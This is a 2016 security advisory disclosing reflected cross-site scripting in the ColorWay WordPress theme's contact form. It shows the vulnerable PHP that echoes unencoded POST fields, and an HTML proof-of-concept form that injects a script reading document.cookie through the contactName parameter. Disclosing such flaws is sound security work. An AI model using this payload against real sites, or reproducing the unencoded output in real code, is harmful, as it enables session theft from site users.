Headline
CVE-2016-10961: Summer of Pwnage! July 1-29, Amsterdam.
The colorway theme before 3.4.2 for WordPress has XSS via the contactName parameter.
Yorick Koster, July 2016
Cross-Site Scripting vulnerability in ColorWay WordPress Theme****Abstract
Multiple Cross-Site Scripting vulnerabilities were found in the ColorWay WordPress Theme. These issues allows an attacker to perform a wide variety of actions, such as stealing users’ session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160712-0024
Tested versions
These issues were successfully tested on ColorWay WordPress Theme version 3.4.1.
Fix
This issue is resolved in ColorWay WordPress Theme version 3.4.2.
Introduction
Colorway is simple, elegant, responsive WordPress Theme built by InkThemes.com. Multiple Cross-Site Scripting vulnerabilities were found in the ColorWay WordPress Theme. These issues allows an attacker to perform a wide variety of actions, such as stealing users’ session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website.
Details
These issues exists due to the lack of output encoding of user input. An example can be seen in the file contact.php. Several POST parameters are using in the output without applying proper encoding.
<form action="<?php the_permalink(); ?>" id="contactForm" method="post">
<ul class="contactform">
<li>
<label for="contactName"><?php _e('Name:’, ‘colorway’); ?></label>
<input type="text" name="contactName" id="contactName" value="<?php if (isset($_POST[‘contactName’])) echo $_POST[‘contactName’]; ?>" class="required requiredField" />
<?php if ($nameError != ‘’) { ?>
<span class="error"> <?php echo $nameError; ?> </span>
<?php } ?>
</li>
<li>
<label for="email"><?php _e('Email’, ‘colorway’); ?></label>
<input type="text" name="email" id="email" value="<?php if (isset($_POST[‘email’])) echo $_POST[‘email’]; ?>" class="required requiredField email" />
<?php if ($emailError != ‘’) { ?>
<span class="error"> <?php echo $emailError; ?> </span>
<?php } ?>
</li>
<li>
<label for="commentsText"><?php _e('Message:’, ‘colorway’); ?></label>
<textarea name="comments" id="commentsText" rows="20" cols="30" class="required requiredField"><?php
if (isset($_POST[‘comments’])) {
if (function_exists(‘stripslashes’)) {
echo stripslashes($_POST[‘comments’]);
} else {
echo $_POST[‘comments’];
}
}
?>
</textarea>
<?php if ($commentError != ‘’) { ?>
<span class="error"> <?php echo $commentError; ?> </span>
<?php } ?>
</li>
<li>
<input type="submit" value="<?php _e('Send Email’, ‘colorway’); ?>"/>
</li>
</ul>
<input type="hidden" name="submitted" id="submitted" value="true" />
</form>
Proof of concept
<html>
<body>
<form action="http://<target>/contact/" method="POST">
<input type="hidden" name="contactName" value=""><script>alert(document.cookie);</script>" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="comments" value=" " />
<input type="hidden" name="submitted" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>